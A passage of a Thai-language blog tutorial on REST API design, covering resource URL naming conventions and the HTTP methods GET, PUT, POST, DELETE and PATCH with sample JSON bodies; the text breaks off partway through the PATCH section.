&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE1A;&#xE23;&#xE23;&#xE08;&#xE38;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE40;&#xE0A;&#xE48;&#xE19;&#xE01;&#xE31;&#xE19;</p><p><strong><em>&#xE43;&#xE0A;&#xE49; URL (Uniform Resource Locator) &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07; Resource &#xE15;&#xE48;&#xE32;&#xE07; &#xE46;</em></strong><br>URL &#xE04;&#xE37;&#xE2D;&#xE17;&#xE35;&#xE48;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE17;&#xE35;&#xE48;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07; Resource &#xE1A;&#xE19;&#xE40;&#xE27;&#xE47;&#xE1A;</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/09/url.png" class="kg-image" alt loading="lazy" width="2000" height="712" srcset="https://blog.pjjop.org/content/images/size/w600/2024/09/url.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/09/url.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/09/url.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/09/url.png 2400w" sizes="(min-width: 720px) 720px"></figure><p><strong><em>&#xE43;&#xE0A;&#xE49;&#xE2A;&#xE16;&#xE32;&#xE1B;&#xE31;&#xE15;&#xE22;&#xE01;&#xE23;&#xE23;&#xE21;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE32;&#xE23;&#xE41;&#xE1A;&#xE1A; Client-Server</em></strong><br>Client &#xE08;&#xE30;&#xE2A;&#xE48;&#xE07;&#xE04;&#xE4D;&#xE32;&#xE02;&#xE2D;&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; Server &#xE08;&#xE32;&#xE01;&#xE19;&#xE31;&#xE49;&#xE19; Server &#xE08;&#xE30;&#xE1B;&#xE23;&#xE30;&#xE21;&#xE27;&#xE25;&#xE1C;&#xE25; Request &#xE41;&#xE25;&#xE30;&#xE2A;&#xE48;&#xE07;&#xE01;&#xE32;&#xE23;&#xE15;&#xE2D;&#xE1A;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE21;&#xE32;&#xE22;&#xE31;&#xE07; Client &#xE42;&#xE14;&#xE22; Client &#xE08;&#xE30;&#xE14;&#xE39;&#xE41;&#xE25;&#xE01;&#xE32;&#xE23;&#xE19;&#xE4D;&#xE32;&#xE40;&#xE2A;&#xE19;&#xE2D;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A; User Interface &#xE43;&#xE19;&#xE02;&#xE13;&#xE30;&#xE17;&#xE35;&#xE48; Server &#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23; Business Logic &#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE21;&#xE27;&#xE25;&#xE1C;&#xE25;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25; &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/09/client.png" class="kg-image" alt loading="lazy" width="2000" height="1342" srcset="https://blog.pjjop.org/content/images/size/w600/2024/09/client.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/09/client.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/09/client.png 1600w, https://blog.pjjop.org/content/images/2024/09/client.png 2184w" sizes="(min-width: 720px) 720px"></figure><p><strong><em>&#xE41;&#xE19;&#xE27;&#xE04;&#xE34;&#xE14;&#xE2B;&#xE25;&#xE31;&#xE01;&#xE02;&#xE2D;&#xE07; REST &#xE04;&#xE37;&#xE2D; Resource</em></strong><br>Resource &#xE04;&#xE37;&#xE2D; Information &#xE17;&#xE35;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE15;&#xE31;&#xE49;&#xE07;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE41;&#xE25;&#xE30;&#xE40;&#xE02;&#xE49;&#xE32;&#xE16;&#xE36;&#xE07;&#xE44;&#xE14;&#xE49;&#xE1C;&#xE48;&#xE32;&#xE19; URL &#xE0B;&#xE36;&#xE48;&#xE07;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30; Resource &#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE42;&#xE14;&#xE22; URL &#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE0B;&#xE49;&#xE33;&#xE01;&#xE31;&#xE19; (Resource Endpoint) &#xE42;&#xE14;&#xE22;&#xE2D;&#xE32;&#xE08;&#xE08;&#xE30;&#xE40;&#xE1B;&#xE47;&#xE19; User, &#xA0;Product &#xE2B;&#xE23;&#xE37;&#xE2D; Order &#xE2F;&#xE25;&#xE2F; &#xE41;&#xE25;&#xE30;&#xE16;&#xE39;&#xE01;&#xE2A;&#xE48;&#xE07;&#xE01;&#xE25;&#xE31;&#xE1A;&#xE43;&#xE19;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A; JSON</p><p>&#xE43;&#xE19; REST API &#xE2A;&#xE48;&#xE27;&#xE19;&#xE02;&#xE2D;&#xE07; Client &#xE08;&#xE30;&#xE42;&#xE15;&#xE49;&#xE15;&#xE2D;&#xE1A;&#xE01;&#xE31;&#xE1A; Resource &#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23; Create, Update &#xE2B;&#xE23;&#xE37;&#xE2D; Delete &#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE48;&#xE07; HTTP Request &#xE17;&#xE35;&#xE48;&#xE40;&#xE2B;&#xE21;&#xE32;&#xE30;&#xE2A;&#xE21;&#xE44;&#xE1B;&#xE22;&#xE31;&#xE07; URL &#xE17;&#xE35;&#xE48;&#xE40;&#xE01;&#xE35;&#xE48;&#xE22;&#xE27;&#xE02;&#xE49;&#xE2D;&#xE07;</p><p><strong>Resource Endpoint &#xE08;&#xE30;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE04;&#xE33;&#xE19;&#xE32;&#xE21;</strong> &#xE44;&#xE21;&#xE48;&#xE43;&#xE0A;&#xE48;&#xE04;&#xE33;&#xE01;&#xE34;&#xE23;&#xE34;&#xE22;&#xE32; &#xE22;&#xE01;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE0A;&#xE48;&#xE19; /users &#xE41;&#xE17;&#xE19;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49; /getUsers &#xE2B;&#xE23;&#xE37;&#xE2D; /createUser</p><p>&#xE43;<strong>&#xE2B;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE4D;&#xE32;&#xE19;&#xE32;&#xE21;&#xE1E;&#xE2B;&#xE39;&#xE1E;&#xE08;&#xE19;&#xE4C;</strong> &#xE40;&#xE0A;&#xE48;&#xE19; /products &#xE2B;&#xE23;&#xE37;&#xE2D; /users &#xE41;&#xE17;&#xE19;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE40;&#xE1B;&#xE47;&#xE19; /product &#xE2B;&#xE23;&#xE37;&#xE2D; /user (&#xE41;&#xE21;&#xE49;&#xE27;&#xE48;&#xE32;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE04;&#xE33;&#xE19;&#xE32;&#xE21;&#xE1E;&#xE2B;&#xE39;&#xE1E;&#xE08;&#xE19;&#xE4C;&#xE08;&#xE30;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE41;&#xE19;&#xE27;&#xE1B;&#xE0F;&#xE34;&#xE1A;&#xE31;&#xE15;&#xE34;&#xE17;&#xE35;&#xE48;&#xE1E;&#xE1A;&#xE1A;&#xE48;&#xE2D;&#xE22; &#xE41;&#xE15;&#xE48;&#xE44;&#xE21;&#xE48;&#xE44;&#xE14;&#xE49;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE01;&#xE0E;&#xE15;&#xE32;&#xE22;&#xE15;&#xE31;&#xE27;)</p><p><strong>&#xE43;&#xE0A;&#xE49; Path &#xE41;&#xE1A;&#xE1A;&#xE25;&#xE33;&#xE14;&#xE31;&#xE1A;&#xE0A;&#xE31;&#xE49;&#xE19;</strong> &#xE17;&#xE35;&#xE48;&#xE41;&#xE2A;&#xE14;&#xE07;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE31;&#xE21;&#xE1E;&#xE31;&#xE19;&#xE18;&#xE4C;&#xE02;&#xE2D;&#xE07; Resource &#xE22;&#xE01;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE0A;&#xE48;&#xE19; /orders/123/items</p><p><strong>&#xE43;&#xE0A;&#xE49; - &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE41;&#xE22;&#xE01;&#xE04;&#xE4D;&#xE32;</strong> &#xE2B;&#xE32;&#xE01;&#xE0A;&#xE37;&#xE48;&#xE2D; Resource &#xE1B;&#xE23;&#xE30;&#xE01;&#xE2D;&#xE1A;&#xE14;&#xE49;&#xE27;&#xE22;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE04;&#xE4D;&#xE32; &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE0A;&#xE48;&#xE19; /product-categories &#xE2B;&#xE23;&#xE37;&#xE2D; /user-profiles</p><p><strong>&#xE43;&#xE0A;&#xE49;&#xE15;&#xE31;&#xE27;&#xE1E;&#xE34;&#xE21;&#xE1E;&#xE4C;&#xE40;&#xE25;&#xE47;&#xE01;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;</strong> &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE23;&#xE31;&#xE01;&#xE29;&#xE32;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE2D;&#xE14;&#xE04;&#xE25;&#xE49;&#xE2D;&#xE07;&#xE41;&#xE25;&#xE30;&#xE2B;&#xE25;&#xE35;&#xE01;&#xE40;&#xE25;&#xE35;&#xE48;&#xE22;&#xE07;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE31;&#xE1A;&#xE2A;&#xE19;</p><p><strong>&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07; URL &#xE02;&#xE2D;&#xE07; Resource &#xE15;&#xE48;&#xE32;&#xE07; &#xE46;</strong></p><p><strong>/users</strong><br>&#xE41;&#xE17;&#xE19;&#xE01;&#xE25;&#xE38;&#xE48;&#xE21;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;</p><p><strong>/users/123</strong><br>&#xE41;&#xE17;&#xE19;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE02;&#xE2D;&#xE07;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35; ID 123</p><p><strong>/products</strong><br>&#xE41;&#xE17;&#xE19;&#xE01;&#xE25;&#xE38;&#xE48;&#xE21;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;</p><p><strong>/orders/123/items</strong><br>&#xE41;&#xE17;&#xE19;&#xE01;&#xE25;&#xE38;&#xE48;&#xE21;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;&#xE17;&#xE35;&#xE48;&#xE2D;&#xE22;&#xE39;&#xE48;&#xE43;&#xE19;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07;&#xE0B;&#xE37;&#xE49;&#xE2D;&#xE2B;&#xE21;&#xE32;&#xE22;&#xE40;&#xE25;&#xE02; 123</p><p><strong>/categories</strong><br>&#xE41;&#xE17;&#xE19;&#xE01;&#xE25;&#xE38;&#xE48;&#xE21;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE1B;&#xE23;&#xE30;&#xE40;&#xE20;&#xE17;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;</p><p><strong>/categories/xyz/products</strong><br>&#xE41;&#xE17;&#xE19;&#xE01;&#xE25;&#xE38;&#xE48;&#xE21;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;&#xE15;&#xE32;&#xE21;&#xE1B;&#xE23;&#xE30;&#xE40;&#xE20;&#xE17; xyz &#xE17;&#xE35;&#xE48;&#xE23;&#xE30;&#xE1A;&#xE38;</p><p><strong><em>&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; HTTP Method &#xE17;&#xE35;&#xE48;&#xE40;&#xE2B;&#xE21;&#xE32;&#xE30;&#xE2A;&#xE21;&#xE43;&#xE19; REST API</em></strong></p><p>&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Application &#xE40;&#xE23;&#xE32;&#xE21;&#xE31;&#xE01;&#xE43;&#xE0A;&#xE49;<strong>&#xE2B;&#xE25;&#xE31;&#xE01;&#xE01;&#xE32;&#xE23;&#xE41;&#xE22;&#xE01;&#xE2A;&#xE48;&#xE27;&#xE19;</strong> (Separation of Concern) &#xE0B;&#xE36;&#xE48;&#xE07;&#xE41;&#xE19;&#xE30;&#xE19;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE19;&#xE31;&#xE01;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE41;&#xE22;&#xE01;&#xE0A;&#xE31;&#xE49;&#xE19;&#xE02;&#xE2D;&#xE07; Application &#xE40;&#xE1B;&#xE47;&#xE19; <strong>Web Service Layer</strong> &#xE0B;&#xE36;&#xE48;&#xE07;&#xE23;&#xE31;&#xE1A;&#xE1C;&#xE34;&#xE14;&#xE0A;&#xE2D;&#xE1A;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE04;&#xE4D;&#xE32;&#xE02;&#xE2D;&#xE40;&#xE27;&#xE47;&#xE1A; (<strong>Route &#xE41;&#xE25;&#xE30; Handler Function</strong>) &#xE41;&#xE25;&#xE30; <strong>Service Layer</strong> &#xA0;&#xE0B;&#xE36;&#xE48;&#xE07;&#xE23;&#xE31;&#xE1A;&#xE1C;&#xE34;&#xE14;&#xE0A;&#xE2D;&#xE1A; Core Business Logic &#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE40;&#xE0A;&#xE48;&#xE19; &#xE01;&#xE32;&#xE23;&#xE42;&#xE15;&#xE49;&#xE15;&#xE2D;&#xE1A;&#xE01;&#xE31;&#xE1A; Database &#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23; Message Queue &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A; Service &#xE2D;&#xE37;&#xE48;&#xE19; &#xE46;</p><p>&#xE17;&#xE35;&#xE48; Web Service Layer &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49; HTTP Verb (<strong>Method</strong>) &#xE2B;&#xE25;&#xE31;&#xE01; &#xE46; &#xE44;&#xE14;&#xE49;&#xE41;&#xE01;&#xE48; GET, PUT, POST, DELETE &#xE41;&#xE25;&#xE30; PATCH &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE01;&#xE4D;&#xE32;&#xE2B;&#xE19;&#xE14;&#xE01;&#xE32;&#xE23;&#xE14;&#xE4D;&#xE32;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE35;&#xE48;&#xE40;&#xE23;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE17;&#xE33;&#xE44;&#xE14;&#xE49;&#xE01;&#xE31;&#xE1A; Resource &#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE02;&#xE13;&#xE30;&#xE17;&#xE35;&#xE48;&#xE43;&#xE19; Service Layer &#xE40;&#xE23;&#xE32;&#xE43;&#xE0A;&#xE49;&#xE01;&#xE32;&#xE23;&#xE14;&#xE4D;&#xE32;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23; <strong>CRUD</strong> (Create, Read, Update, Delete) &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A; Business Logic &#xE08;&#xE23;&#xE34;&#xE07; &#xE46;</p><p>&#xE42;&#xE14;&#xE22; <strong>GET</strong> &#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE14;&#xE36;&#xE07; Resource &#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE41;&#xE25;&#xE30; <strong>PUT</strong> &#xE16;&#xE39;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23; Update &#xE41;&#xE1A;&#xE1A;&#xE41;&#xE17;&#xE19;&#xE17;&#xE35;&#xE48; Resource &#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14; &#xE02;&#xE13;&#xE30;&#xE17;&#xE35;&#xE48; <strong>PATCH</strong> &#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23; Update Resource &#xE1A;&#xE32;&#xE07;&#xE2A;&#xE48;&#xE27;&#xE19;</p><p>&#xE2A;&#xE48;&#xE27;&#xE19; <strong>POST</strong> &#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Resource &#xE43;&#xE2B;&#xE21;&#xE48; &#xE41;&#xE25;&#xE30; <strong>DELETE</strong> &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE25;&#xE1A; Resource &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE2D;&#xE22;&#xE39;&#xE48;</p><p><strong>GET</strong><br>- &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE14;&#xE36;&#xE07; Resource &#xE15;&#xE48;&#xE32;&#xE07; &#xE46;<br>- &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE0A;&#xE48;&#xE19; GET /users/123<br>- &#xE44;&#xE21;&#xE48;&#xE21;&#xE35; Request Body <br>- &#xE21;&#xE35; Response Body &#xE40;&#xE0A;&#xE48;&#xE19;</p><pre><code>{
    &quot;id&quot;: 123,
    &quot;name&quot;: &quot;&#xE2A;&#xE21;&#xE0A;&#xE32;&#xE22; &#xE43;&#xE08;&#xE14;&#xE35;&quot;,
    &quot;email&quot;: &quot;somchai.jaidee@example.com&quot;,
    &quot;phone&quot;: &quot;081-234-5678&quot;,
    &quot;address&quot;: {
        &quot;street&quot;: &quot;123 &#xE16;&#xE19;&#xE19;&#xE2B;&#xE25;&#xE31;&#xE01;&quot;,
        &quot;city&quot;: &quot;&#xE01;&#xE23;&#xE38;&#xE07;&#xE40;&#xE17;&#xE1E;&#xE21;&#xE2B;&#xE32;&#xE19;&#xE04;&#xE23;&quot;,
        &quot;zip&quot;: &quot;10100&quot;
    }
}</code></pre><p>- <strong>&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16; Cache &#xE44;&#xE14;&#xE49; </strong>(&#xE41;&#xE15;&#xE48;&#xE44;&#xE21;&#xE48;&#xE44;&#xE14;&#xE49;&#xE2B;&#xE21;&#xE32;&#xE22;&#xE04;&#xE27;&#xE32;&#xE21;&#xE27;&#xE48;&#xE32;&#xE17;&#xE38;&#xE01; GET Request &#xE04;&#xE27;&#xE23;&#xE16;&#xE39;&#xE01; cache &#xE40;&#xE2A;&#xE21;&#xE2D;&#xE44;&#xE1B;)<br>- &#xE17;&#xE33;&#xE0B;&#xE49;&#xE33;&#xE44;&#xE14;&#xE49;&#xE42;&#xE14;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE40;&#xE14;&#xE34;&#xE21; (Idempotent)<br>- Service Layer Method &#xE40;&#xE0A;&#xE48;&#xE19; get() &#xE41;&#xE25;&#xE30; list()</p><p><strong>PUT</strong><br>- &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23; Update &#xE41;&#xE1A;&#xE1A;&#xE41;&#xE17;&#xE19;&#xE17;&#xE35;&#xE48; Resource &#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;<br>- &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE0A;&#xE48;&#xE19; PUT /users/123 <br>- &#xE21;&#xE35; Request Body &#xE40;&#xE0A;&#xE48;&#xE19;</p><pre><code>{
    &quot;id&quot;: 123,
    &quot;name&quot;: &quot;&#xE13;&#xE31;&#xE10;&#xE42;&#xE0A;&#xE15;&#xE34; &#xE1E;&#xE23;&#xE2B;&#xE21;&#xE24;&#xE17;&#xE18;&#xE34;&#xE4C;&quot;,
    &quot;email&quot;: &quot;nuttachot@example.com&quot;,
    &quot;phone&quot;: &quot;081-234-5678&quot;,
    &quot;address&quot;: {
        &quot;street&quot;: &quot;123 &#xE16;&#xE19;&#xE19;&#xE2B;&#xE25;&#xE31;&#xE01;&quot;,
        &quot;city&quot;: &quot;&#xE01;&#xE23;&#xE38;&#xE07;&#xE40;&#xE17;&#xE1E;&#xE21;&#xE2B;&#xE32;&#xE19;&#xE04;&#xE23;&quot;,
        &quot;zip&quot;: &quot;10100&quot;
    }
}</code></pre><p>- &#xE2D;&#xE32;&#xE08;&#xE21;&#xE35; Response Body<br>- &#xE44;&#xE21;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16; Cache &#xE44;&#xE14;&#xE49; <br>- &#xE17;&#xE33;&#xE0B;&#xE49;&#xE33;&#xE44;&#xE14;&#xE49;&#xE42;&#xE14;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE40;&#xE14;&#xE34;&#xE21; (Idempotent)<br>- Service Layer Method &#xE40;&#xE0A;&#xE48;&#xE19; update()</p><p><strong>POST</strong><br>- &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Resource &#xE43;&#xE2B;&#xE21;&#xE48;<br>- &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE0A;&#xE48;&#xE19; POST /users<br>- &#xE21;&#xE35; Request Body &#xE40;&#xE0A;&#xE48;&#xE19;</p><pre><code>{
    &quot;name&quot;: &quot;&#xE2A;&#xE31;&#xE08;&#xE08;&#xE32;&#xE20;&#xE23;&#xE13;&#xE4C; &#xE44;&#xE27;&#xE08;&#xE23;&#xE23;&#xE22;&#xE32;&quot;,
    &quot;email&quot;: &quot;sajjaporn@example.com&quot;,
    &quot;phone&quot;: &quot;095-277-5111&quot;,
    &quot;address&quot;: {
        &quot;street&quot;: &quot;123 &#xE16;&#xE19;&#xE19;&#xE2B;&#xE25;&#xE31;&#xE01;&quot;,
        &quot;city&quot;: &quot;&#xE01;&#xE23;&#xE38;&#xE07;&#xE40;&#xE17;&#xE1E;&#xE21;&#xE2B;&#xE32;&#xE19;&#xE04;&#xE23;&quot;,
        &quot;state&quot;: &quot;&#xE01;&#xE23;&#xE38;&#xE07;&#xE40;&#xE17;&#xE1E;&quot;,
        &quot;zip&quot;: &quot;10100&quot;
    }
}</code></pre><p>- &#xE21;&#xE35; Response Body &#xE40;&#xE0A;&#xE48;&#xE19;</p><pre><code>{
    &quot;id&quot;: 987,
    &quot;name&quot;: &quot;&#xE2A;&#xE21;&#xE0A;&#xE32;&#xE22; &#xE43;&#xE08;&#xE14;&#xE35;&quot;,
    &quot;email&quot;: &quot;sajjaporn@example.com&quot;,
    &quot;phone&quot;: &quot;095-277-5111&quot;,
    &quot;address&quot;: {
        &quot;street&quot;: &quot;123 &#xE16;&#xE19;&#xE19;&#xE2B;&#xE25;&#xE31;&#xE01;&quot;,
        &quot;city&quot;: &quot;&#xE01;&#xE23;&#xE38;&#xE07;&#xE40;&#xE17;&#xE1E;&#xE21;&#xE2B;&#xE32;&#xE19;&#xE04;&#xE23;&quot;,
        &quot;zip&quot;: &quot;10100&quot;
    },
    &quot;created_at&quot;: &quot;2024-08-28T16:00:00Z&quot;,
    &quot;updated_at&quot;: &quot;2024-08-28T16:00:00Z&quot;
}</code></pre><p>- &#xE44;&#xE21;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16; Cache &#xE44;&#xE14;&#xE49;<br>- <strong>&#xE17;&#xE33;&#xE0B;&#xE49;&#xE33;&#xE41;&#xE25;&#xE49;&#xE27;&#xE2D;&#xE32;&#xE08;&#xE43;&#xE2B;&#xE49;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE15;&#xE48;&#xE32;&#xE07;&#xE2D;&#xE2D;&#xE01;&#xE44;&#xE1B;</strong> &#xE40;&#xE19;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE08;&#xE32;&#xE01; POST &#xE16;&#xE39;&#xE01;&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A;&#xE21;&#xE32;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE0A;&#xE49;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Resource &#xE43;&#xE2B;&#xE21;&#xE48; &#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE04;&#xE33;&#xE02;&#xE2D;&#xE0B;&#xE49;&#xE33;&#xE2D;&#xE32;&#xE08;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Resource &#xE43;&#xE2B;&#xE21;&#xE48;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE23;&#xE2B;&#xE31;&#xE2A;&#xE44;&#xE21;&#xE48;&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE40;&#xE14;&#xE34;&#xE21;<br>- Service Layer Method &#xE40;&#xE0A;&#xE48;&#xE19; create()</p><p><strong>DELETE</strong><br>- &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE25;&#xE1A; Resource<br>- &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE0A;&#xE48;&#xE19; DELETE /user/123<br>- &#xE2D;&#xE32;&#xE08;&#xE21;&#xE35; Request Body<br>- &#xE2D;&#xE32;&#xE08;&#xE21;&#xE35; Response Body<br>- &#xE44;&#xE21;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16; Cache &#xE44;&#xE14;&#xE49;<br>- &#xE17;&#xE33;&#xE0B;&#xE49;&#xE33;&#xE44;&#xE14;&#xE49;&#xE42;&#xE14;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;&#xE40;&#xE2B;&#xE21;&#xE37;&#xE2D;&#xE19;&#xE40;&#xE14;&#xE34;&#xE21; (Idempotent)<br>- Service Layer Method &#xE40;&#xE0A;&#xE48;&#xE19; delete()</p><p><strong>PATCH</strong><br>- &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23; Update Resource &#xE1A;&#xE32;&#xE07;&#xE2A;&#xE48;&#xE27;&#xE19;<br>- &#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE40;&#xE0A;&#xE48;&#xE19; PATCH /users/123<br>- 